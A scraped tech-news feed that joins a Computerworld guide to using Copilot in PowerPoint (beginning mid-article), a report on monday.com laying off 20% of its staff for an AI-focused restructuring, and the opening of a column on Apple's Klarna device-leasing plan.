<p class="wp-block-paragraph"><strong>Choice of AI model:</strong> Behind the scenes, Copilot has access to various genAI models, including different versions of Anthropic Claude and OpenAI GPT.  By default, it decides which model to use based on your prompt. You can set it to use a particular model: click <em>Auto</em> at the upper right of the Copilot pane and select a model from the dropdown that opens.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-02-sidebar-model-dropdown.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with models dropdown menu open" class="wp-image-4195063" width="1024" height="697" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>You can choose which AI model you want Copilot to use for a request.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">The tips in this guide should work fine on the default <em>Auto</em> setting. But feel free to experiment switching to specific models to see which give you the best results for particular tasks.</p>



<p class="wp-block-paragraph"><strong>Important:</strong> Remember that <a href="https://www.computerworld.com/article/4059383/openai-admits-ai-hallucinations-are-mathematically-inevitable-not-just-engineering-flaws.html">generative AI output often includes errors</a>, so always check Copilot’s output for accuracy. (Also see our <a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">tips for reducing hallucinations in Copilot</a>.) You’ll likely want to rewrite it in your own voice as you’re reviewing it.</p>



<h2 class="wp-block-heading"><a></a>1. Create a presentation template</h2>



<p class="wp-block-paragraph">For many people, the hardest part of creating a presentation is getting started. What types of information should be included on the slides, and in what order? Copilot can give you a leg up by creating the type of presentation you need, with placeholder data that you can later replace with your own.</p>



<p class="wp-block-paragraph">Start a new presentation, open the Copilot sidebar, and type your prompt into the chat window. It’s best to provide very specific details in your prompt. The more context or details you provide, the more likely Copilot will generate a presentation template that suits your needs.</p>



<p class="wp-block-paragraph">A good prompt should contain the slide count, subject, audience, and tone. Example:</p>



<ul class="wp-block-list">
<li><em>Create a 6-slide presentation for a sales meeting focusing on Q1 revenue. The audience is the sales team, so keep the tone professional and focused on the sales data.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot may ask a series of follow-up questions, such as your preferred visual style and desired level of detail. Then it will generate a presentation template.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-03-generated-presentation-with-placeholder-data.png?w=1024" alt="screenshot of powerpoint presentation generated by copilot with placeholder data" class="wp-image-4195064" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot generates a presentation with placeholder data and explains its elements.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">You can optionally prompt Copilot for revisions, and when you’re happy with the template, swap in your own data.</p>



<h2 class="wp-block-heading"><a></a>2. Create a presentation from a document</h2>



<p class="wp-block-paragraph">You can attach a document (such as a Word document, Excel spreadsheet, or PDF) and prompt Copilot to generate a presentation based on its contents. This works best with a structured-format document (such as a business plan, project proposal, or summary report) that contains sections with headings.</p>



<p class="wp-block-paragraph">Copilot can extract the document’s text and structure to generate the slide content for the new presentation. This can especially be useful for quickly turning a long report into a visually appealing presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, click the <em>+</em> icon at the bottom of the chat window. A list of documents that you’ve recently accessed appears. Select the one that you want Copilot to use. Alternatively, click the magnifying glass icon and inside its search box, type a few letters of the filename for the document you want. (Business users with an M365 Copilot license can select up to five files for Copilot to pull from when creating a presentation.)</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-04-attach-document.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with a document being attached for copilot to base a presentation on" class="wp-image-4195062" width="1024" height="733" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Attaching a document for Copilot to base a presentation on.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Then in the chat window, you can enter a prompt that’s as simple as “<em>Create a presentation</em>,” although as always, providing more details and context is better. This is especially important for corporate users who reference multiple source files. It’s useful to tell Copilot what data to pull from each document.</p>



<p class="wp-block-paragraph">Answer any follow-up questions that Copilot asks, and it will then generate the presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-05-generated-presentation-from-doc.png?w=1024" alt="screenshot of powerpoint with a presentation generated by copilot from a document" class="wp-image-4195067" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot has generated a professional presentation from a social media marketing campaign document.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Note: Your marketing department may have created one or more <a href="https://support.microsoft.com/en-US/PowerPoint/copilot/keep-your-presentation-on-brand-with-copilot" target="_blank" rel="noreferrer noopener">branded company templates for Copilot to work from</a>. If that’s the case at your organization, simply open the appropriate company template as your first step. Then you can upload docs and type a prompt as described above. Copilot will create a presentation using the branded template.</p>



<h2 class="wp-block-heading"><a></a>3. Add content from a document to a slide</h2>



<p class="wp-block-paragraph">Manually copying text or other content from a document and pasting it into a new slide is a chore. Instead, you can prompt Copilot to extract information directly from a Word document, Excel spreadsheet, or PDF to create new slides.</p>



<p class="wp-block-paragraph">In the Copilot pane, attach the document using the same steps described in tip 2, then tell Copilot to create a slide from the document. As always, it helps to provide details such as the new slide’s focus or what data to include:</p>



<ul class="wp-block-list">
<li><em>Add a slide based on the attached document.</em></li>



<li><em>Use the attached file to add a slide about the project budget that focuses on Q1 projections.</em></li>



<li><em>Summarize only the financial section of the attached document as a slide.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-06-generated-slide-from-spreadsheet.png?w=1024" alt="screenshot of a slide in powerpoint generated by copilot from spreadsheet data" class="wp-image-4195068" width="1024" height="612" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>A new Copilot-generated slide based on data from an Excel spreadsheet.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a><a></a>4. Refine your slide text</h2>



<p class="wp-block-paragraph">A presentation should be visual and display only the core message. Conciseness and proper writing tone are essential for your slides, so that they don’t lose the attention of your audience.</p>



<p class="wp-block-paragraph">You can prompt Copilot to refine text on an individual slide in various ways, such as rewriting it in a more professional tone or making it more concise. Highlight the text inside a text box on the slide. On the toolbar that appears over the highlighted text, click <em>Edit with Copilot</em>.</p>



<p class="wp-block-paragraph">On the menu that opens, you can select a preset prompt to refine the text, such as <em>Condense</em> or <em>Make professional</em>. Or, at the top of this menu, you can type a prompt to rewrite the highlighted text.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-07-refine-slide-text-options-menu.png" alt="screenshot of text on a powerpoint slide with copilot dropdown menu includng condense and make professional options" class="wp-image-4195066" width="960" height="690" sizes="auto, (max-width: 960px) 100vw, 960px"><figcaption class="wp-element-caption"><p>Choose a preset prompt for refining text on a slide or type in your own prompt.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Note that this feature affects all the text inside the text box. To rewrite only a portion of text inside a text box, you must split that portion out into a separate text box.</p>



<p class="wp-block-paragraph">Alternatively, you can prompt Copilot to analyze your entire presentation and tighten up the wording throughout all of its slides. For example:</p>



<ul class="wp-block-list">
<li><em>Make these slides more visual and use less text.</em></li>
</ul>



<h2 class="wp-block-heading">5. Find or create an image</h2>



<p class="wp-block-paragraph">If you have Copilot generate a presentation from an existing Word document that contains images, it will incorporate those images into the presentation. If there are no images in the source document, you can ask Copilot to find or create one and add it to a slide.</p>



<p class="wp-block-paragraph">To add a stock image or an image from your organization’s brand library, tell Copilot what you’re looking for:</p>



<ul class="wp-block-list">
<li><em>Add a stock photo of young adults in a cafe drinking boba tea.</em></li>



<li><em>Add a photo from our asset library of young adults in a cafe drinking boba tea.</em></li>
</ul>



<p class="wp-block-paragraph">To have Copilot create an image using Microsoft’s Designer image generation tool, describe your desired image. As always, specificity is helpful:</p>



<ul class="wp-block-list">
<li><em>Create a photorealistic image of a diverse group of 5 or 6 fashionable young adults sitting in a cafe drinking boba tea. They’re smiling or laughing, and some are looking at their phones.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-08-generate-image.png?w=1024" alt="screenshot of image generation prompt in copilot sidebar in powerpoint plus the resulting generated image on a slide" class="wp-image-4195097" width="1024" height="594" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot in PowerPoint hooks into Microsoft’s Designer tool for image generation.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Just as you need to review any text output from Copilot, take a close look at generated images to be sure nothing looks off. </p>



<p class="wp-block-paragraph">Also note that Copilot image generation isn’t always reliable in PowerPoint. For some time during our testing for this story, Copilot said it couldn’t create an image because “the image generation service is returning a server error on every attempt.” After about a day and a half, the service began working again.</p>



<h2 class="wp-block-heading"><a></a>6. Expand your presentation with relevant slides</h2>



<p class="wp-block-paragraph">As you’re building your presentation, you may find that it’s become text heavy. Or perhaps it could use more visually oriented slides to break things up and make its progression flow better. Copilot can generate and insert new slides that are based on the content of the slides already in the presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, specify exactly where you want the new slide to go. This helps Copilot to analyze the content of the slides before and after where you want the new slide. Then it can generate a slide to bridge between the two slides. Examples:</p>



<ul class="wp-block-list">
<li><em>Add a slide after slide 3 about our competitive advantages.</em></li>



<li><em>Add a slide after slide 11 that transitions to slide 12.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-09-generated-transition-slide.png?w=1024" alt="screenshot of powerpoint screen with copilot sidebar and a transition slide generated by copilot" class="wp-image-4195094" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Need a transition slide? Just ask!</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading">7. Summarize a presentation</h2>



<p class="wp-block-paragraph">Maybe you need a quick refresh of your presentation before an important meeting. Or maybe a co-worker has sent you a presentation that’s packed with lots of slides. You can prompt Copilot to generate a summary of the presentation’s overall messaging.</p>



<p class="wp-block-paragraph">In the Copilot pane, just type “<em>summarize this presentation</em>.” You can also have Copilot flag key slides that contain important information: “<em>show me key slides</em>.”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-10-summarize-key-slides.png?w=1024" alt="screenshots of copilot sidebar in powerpoint - one with summarize results and one with key slides response" class="wp-image-4195095" width="1024" height="774" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Ask Copilot to summarize a presentation or flag key slides.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a>8. Answer questions about a presentation</h2>



<p class="wp-block-paragraph">As you’re reviewing a presentation, especially one that you didn’t create and are not familiar with, you can get Copilot to pull key data points from its slides.</p>



<p class="wp-block-paragraph">In the Copilot pane, type specific informational questions. Examples:</p>



<ul class="wp-block-list">
<li><em>What are the action items in this deck?</em></li>



<li><em>What is the proposed budget mentioned here?</em></li>
</ul>



<p class="wp-block-paragraph">If Copilot can’t find the exact answer to the question you ask, it will provide related information from the presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-11-ask-questions-about-presentation.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with response to query about proposed budget in the slide deck" class="wp-image-4195093" width="1024" height="760" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Ask Copilot specific questions about the contents of a presentation.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">This method can also help you validate that your presentation includes everything you want it to. If you ask Copilot about the action items in a presentation and it can’t find any, you know you need to add them. (Copilot will likely offer to generate them for you based on the rest of the slides.)</p>



<p class="wp-block-paragraph">You can even take this tactic a step further and ask Copilot if the presentation is missing any important data, if any slides are weak or confusing, if there are any awkward transitions, if there are key points that should be better emphasized, and so on.</p>



<h2 class="wp-block-heading"><a></a>9. Help you navigate a large presentation</h2>



<p class="wp-block-paragraph">In the business world, presentations with dozens of slides are not uncommon, such as for financial reports or project documentation. Trying to find a specific slide or multiple slides can be tough. Copilot can help you navigate such a presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, prompt Copilot to find slides based on specific topics. Example:</p>



<ul class="wp-block-list">
<li><em>Show me the slides about the project timeline.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot will analyze the presentation and reply with a list of links to the relevant slides. Click one of these to jump directly to that slide.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-12-navigate-presentation.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with response about the slide that talks about target audience" class="wp-image-4195096" width="1024" height="760" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot can help you zoom directly to a slide that covers a particular topic or shows specific data.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a>10. Generate speaker notes and/or an FAQ</h2>



<p class="wp-block-paragraph">Here’s a great timesaver when you’re preparing to show your presentation to an audience: Copilot can automatically generate suggested speaker notes for you, based on the content of your slides. Example prompt:</p>



<ul class="wp-block-list">
<li><em>Write speaker notes for every slide with one talking point per slide.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-13-speaker-notes.png?w=1024" alt="screenshot of powerpoint presentation with speaker notes generated by copilot" class="wp-image-4195092" width="1024" height="607" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot can create speaker notes in seconds.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">In a related feature, Copilot can create a frequently asked questions list (FAQ) for you to consult in your speaker notes or to present as a slide:</p>



<ul class="wp-block-list">
<li><em>Write an FAQ for these slides.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot will ask where you want the questions and answers added — as a new slide at the end, integrated into the speaker notes of relevant slides, or somewhere else that you designate. Make a selection, and Copilot will generate the FAQ based on the content of your presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-14-generated-faq-slide.png?w=1024" alt="screenshot of frequently asked questions slide generated by copilot in powerpoint" class="wp-image-4195091" width="1024" height="609" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>A Copilot-generated FAQ slide.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h4 class="wp-block-heading"><strong>Related reading:</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4119411/11-cool-things-copilot-can-do-in-excel.html">11 cool things Copilot can do in Excel</a></li>



<li><a href="https://www.computerworld.com/article/4022584/9-ways-copilot-can-turbocharge-onenote.html">9 ways Copilot can turbocharge OneNote</a></li>



<li><a href="https://www.computerworld.com/article/1647230/powerpoint-for-microsoft-365-cheat-sheet.html">PowerPoint for Microsoft 365 cheat sheet</a></li>



<li><a href="https://www.computerworld.com/article/4171293/copilot-chat-your-hub-for-document-creation-and-analysis.html">Copilot Chat: Your hub for document creation and analysis</a></li>



<li><a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">How to curb hallucinations in Copilot (and other genAI tools)</a></li>



<li><a href="https://www.computerworld.com/article/3479705/how-to-use-microsoft-copilot-for-writing-in-microsoft-365-word-outlook-onenote.html">Microsoft Copilot can boost your writing in Word, Outlook, and OneNote — here’s how</a></li>



<li><a href="https://www.computerworld.com/article/1682358/microsoft-cheat-sheets-dive-into-windows-and-office-apps.html">More Microsoft tips and tutorials</a></li>
</ul>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Monday.com cuts 20% of its workforce to restructure for the AI era]]></title>
<description><![CDATA[Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.



Monday.com co-founder and co-CEO Eran Zinman tod...]]></description>
<link>https://tsecurity.de/de/3694771/ai-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694771/ai-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:09 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.</p>



<p class="wp-block-paragraph">Monday.com co-founder and co-CEO Eran Zinman <a href="https://www.linkedin.com/pulse/building-mondaycom-its-next-chapter-eran-zinman-cxx4e/" target="_blank" rel="noreferrer noopener">today announced</a> the “very difficult decision” to reduce the AI work platform company’s global workforce by about 20%, or 620 people.</p>



<p class="wp-block-paragraph">The move has nothing to do with increasing margins or replacing humans with AI, he insisted in his post on LinkedIn; rather, it’s a calculated decision to trim down and hone the company’s focus as AI becomes integral to day-to-day workflows.</p>



<p class="wp-block-paragraph">“This is not a distress signal; it is a deliberate reset, disclosed with its price attached,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. “The industry has quietly swapped the meaning of productivity, and this filing is the clearest exhibit yet.”</p>



<h2 class="wp-block-heading">A ‘significant opportunity’ in technology</h2>



<p class="wp-block-paragraph">In a <a href="https://www.sec.gov/Archives/edgar/data/1845338/000117891326003553/zk2635715.htm" target="_blank" rel="noreferrer noopener">SEC filing</a> this week, monday.com said its restructuring plan reflects the “ongoing transformation of its product, marketing, and go-to-market strategy.” The move is intended to support a “leaner, more focused operating model” as the company continues to invest in its AI-driven strategy.</p>



<p class="wp-block-paragraph">Zinman noted in his post that the company has shifted to “doing the work with AI and not just managing it,” and is focused on building environments where “people and <a href="https://www.cio.com/article/411198/how-to-launch-your-ai-projects-from-pilot-to-production-and-ensure-success.html" target="_blank">AI agents</a> [work] together in one workspace.”</p>



<p class="wp-block-paragraph">In recent months, monday.com has <a href="https://www.computerworld.com/article/3822438/monday-com-aims-to-be-an-ai-first-platform-with-latest-enhancements.html" target="_blank">evolved its products</a>, strategy, and the way it serves its customers, and Zinman contended that “the organization we built for our previous chapter is not the organization that fits the new AI era.” Monday.com needs to “execute more decisively,” take on new challenges, and quickly respond to market changes, he said.</p>



<p class="wp-block-paragraph">“We have never seen such a significant opportunity in software, driven by such exciting technology,” Zinman noted. He emphasized that the reduction is not to replace people with AI, nor to improve margins; the “vast majority” of savings will be reinvested into talent, products, and AI.</p>



<p class="wp-block-paragraph">The restructuring will result in a “flatter organization” with fewer management layers and smaller, more autonomous teams, and monday.com also has a new go-to-market model, Zinman explained. Customers expect “deeper implementation support” as they deploy AI, and the company will work more closely with customers, increase its on-site presence, create new roles, and “adapt many existing ones.” In its SEC filing, the company said it expects to continue hiring in “key strategic areas” throughout 2026.</p>



<p class="wp-block-paragraph">Workers will be expected to work better, “not harder,” Zinman noted. He pointed to several past examples where work could have been done in a few days, but instead took many months with “multiple meetings and endless friction.”</p>



<p class="wp-block-paragraph">“This wasn’t people’s fault and everyone was frustrated by this,” he said. “Our new org changes ownership to allow people to make decisions and move fast.”</p>



<p class="wp-block-paragraph">A spokesperson for monday.com declined to comment further on the staff reductions.</p>



<h2 class="wp-block-heading">Monday.com’s key market advantages</h2>



<p class="wp-block-paragraph">Monday.com certainly isn’t struggling; the company expects 19% to 20% year-over-year growth in 2026.</p>



<p class="wp-block-paragraph">“Companies in that position do not restructure because they must,” Greyhound’s Gogia noted. “They restructure because they have decided to become something else.”</p>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/melody-brue/" target="_blank" rel="noreferrer noopener">Melody Brue</a>, VP and principal analyst at Moor Insights &amp; Strategy, pointed out that organizational redesign is important for real AI transformation, but while it can signal confidence to the market, it can still be “devastating” to humans.</p>



<p class="wp-block-paragraph">While the company looks as though it’s trying to do right, that ultimately remains to be seen, she said. “There are often hidden internal bruises that can surface long after layoffs.”</p>



<p class="wp-block-paragraph">Monday.com’s advantage is in its “structured substrate,” Gogia noted; its boards, permissions and typed workflows give agents something firmer to act on than just documents and chat history. The company highlights its natively built agents that can be configured by any team member, as well as connectors with Claude, Microsoft Copilot, and ChatGPT, and dedicated routes for external agents to authenticate and operate.</p>



<p class="wp-block-paragraph">“For some time, the sharper enterprise question has been shifting from who has an agent to who owns the governed runtime in which an agent can safely act,” he said. “Structured work is a serious claim on that runtime.”</p>



<p class="wp-block-paragraph">But parts of monday.com’s agent estate remain in staged release, and its product is ultimately “mid-transition,” Gogia pointed out; its agent builder carried a beta label as recently as March,. Also, the company’s pricing model changed in May to a hybrid model charging for seats as well as mandatory AI credits. And, while its AI-powered no-code builder monday vibe passed $1 million in annual recurring revenue within two and a half months, monday.com has not released subsequent outcomes, usage volumes, or attach rates.</p>



<p class="wp-block-paragraph">Further, there’s an element of “gravity” with its competitors, he observed. Asana is reorganizing teams around agents, Atlassian is wiring agents into the developer estate, and others are simply bundling them into their offerings: Microsoft is doing so across the productivity stack, and ServiceNow across enterprise operations, each with identity and procurement built in.</p>



<p class="wp-block-paragraph">“Their pull is strongest exactly where monday.com wants to grow, in the largest accounts, where control-plane depth and administrative reach decide the deal,” said Gogia.</p>



<h2 class="wp-block-heading">Actions for the near-term</h2>



<p class="wp-block-paragraph">Going forward, buyers should focus on operating risk, not headline risk, Moor’s Brue noted. In practice, that’s continuity of service, roadmap consistency, and strength of enterprise support. Productivity should be valued as better outcomes per unit of organizational effort, not mere activity.</p>



<p class="wp-block-paragraph">“It should be a measure of how much smoother, faster, and more effective the operating model becomes when AI is built into the work,” said Brue.</p>



<p class="wp-block-paragraph">Gogia noted that strain surfaces first in customer service, and monday.com’s attention is being redistributed. The company’s annual report disclosed that its focus is now concentrated on the largest accounts, with support for medium-sized clients moved to an AI-first and human-supported model.</p>



<p class="wp-block-paragraph">During the first month of the transition, buyers should track named account continuity and escalation times, he advised. By the first quarter, keep an eye on whether credit governance and admin controls mature on schedule, and if the roadmap beyond the AI estate keeps pace. By the half-year mark, determine whether promised implementation depth is producing outcomes or “simply more billable engagement.”</p>



<p class="wp-block-paragraph">Support tiers should be enumerated in writing before renewal, and <a href="https://www.cio.com/article/4192312/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability.html" target="_blank">buyers should contract</a> for “side exits,” Gogia emphasized, with overage pricing fixed in advance, the right to pause consumption, and portability for workflows and agent configuration “if the relationship sours.” Finance should also insist on monthly consumption reporting by capability. Further, integration efforts, partner dependency, and change management should be considered first-class costs of the agent era, “not as afterthoughts to a license.”</p>



<p class="wp-block-paragraph">“A license was a known cost,” said Gogia. “A meter is a behavior, and behavior is harder to forecast than headcount.”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.cio.com/article/4200330/monday-com-cuts-20-of-its-workforce-to-restructure-for-the-ai-era.html" target="_blank">CIO.com</a>.</em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Own nothing, upgrade everything: Apple’s new Klarna deal]]></title>
<description><![CDATA[Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to launch its new deal with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread a...]]></description>
<link>https://tsecurity.de/de/3694772/ai-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694772/ai-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:09 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to <a href="https://www.reuters.com/business/apple-launch-upgrade-device-leasing-program-spur-sales-bloomberg-news-reports-2026-07-21/" target="_blank" rel="noreferrer noopener">launch its new deal</a> with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread across up to three years.</p>



<p class="wp-block-paragraph">This matters because when combined with Apple One and Apple’s Creator Studio subscriptions, the Klarna arrangement brings Apple closer to offering a full subscription model for hardware, software, and services. The only thing you don’t get under the new arrangement is AppleCare, for which you’ll allegedly need to pay extra.</p>



<h2 class="wp-block-heading"><strong>Moving closer to hardware-as-a-service</strong></h2>



<p class="wp-block-paragraph">Apple has slowly been <a href="https://www.applemust.com/opinion-how-you-will-access-apple-products-in-future/#google_vignette" target="_blank" rel="noreferrer noopener">transitioning toward</a> hardware-as-a-service for almost a decade. Back then, Forrester analyst <a href="https://www.applemust.com/apple-klarna-mean-we-can-now-get-apple-as-a-service/" target="_blank" rel="noreferrer noopener">Frank Gillet predicted</a> the company would eventually offer bundles of services and products for a monthly, all-in, fee. </p>



<p class="wp-block-paragraph">This isn’t quite where we are yet; you still need at least three subscriptions to get close. But, after the better part of a decade, Apple has moved much nearer to the hardware-as-a-service idea.</p>



<p class="wp-block-paragraph">There are some products reportedly excluded from the arrangement, including MacBook Neo, Apple Watch SE, the entry-level iPad, and iPhone 16. Clearly, Apple sees those products as sufficiently affordable. </p>



<h2 class="wp-block-heading"><strong>Easy payments for RAM-ageddon</strong></h2>



<p class="wp-block-paragraph">The new Klarna arrangement comes as Apple is forced to increase product prices as AI-driven memory price inflation becomes widely felt across every economy. In theory, I assume, Apple hopes to make its products available to cash-strapped consumers who need new hardware, while also navigating a time of deep economic tumult and uncertainty. It’s thought the company has <a href="https://www.bloomberg.com/news/newsletters/2025-04-06/will-apple-raise-iphone-prices-in-the-us-after-trump-tariffs-iphone-17-details" target="_blank" rel="noreferrer noopener">previously rejected these plans</a> to protect normal hardware sales, but normality is a kingdom we no longer seem to possess. Interesting times. Probable inflation incoming.</p>



<p class="wp-block-paragraph">“Apple Upgrade lands at precisely the moment Apple needs it,” IDC analyst Francisco Jeronimo wrote in a note seen by <em>Computerworld</em>. “Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September — as well as the new iPhone foldable expected at $2,500 — Apple’s real risk is that rising prices even further can impact the upgrade cycle.” </p>



<h2 class="wp-block-heading"><strong>New age, new shopping habits</strong></h2>



<p class="wp-block-paragraph">The introduction of the scheme gives consumers a way to purchase the company’s popular high-end devices when they are introduced — no doubt,at higher cost — this fall. Plus, of course, if it’s <a href="https://www.businessinsider.com/general-motors-gm-earnings-subscriptions-revenue-business-2026-1" target="_blank" rel="noreferrer noopener">good enough for GM</a>, it’s good enough for Apple.</p>



<p class="wp-block-paragraph">It’s all about attitude, too. From Apple’s perspective, it <a href="https://www.computerworld.com/article/4125784/are-you-ready-for-apple-as-a-service.html">has done plenty of the groundwork</a> required to <a href="https://www.applemust.com/apple-vp-eddy-cue-shares-15-important-apple-services-stats/" target="_blank" rel="noreferrer noopener">convince its customers</a> that subscription payments for things you value are no bad thing. </p>



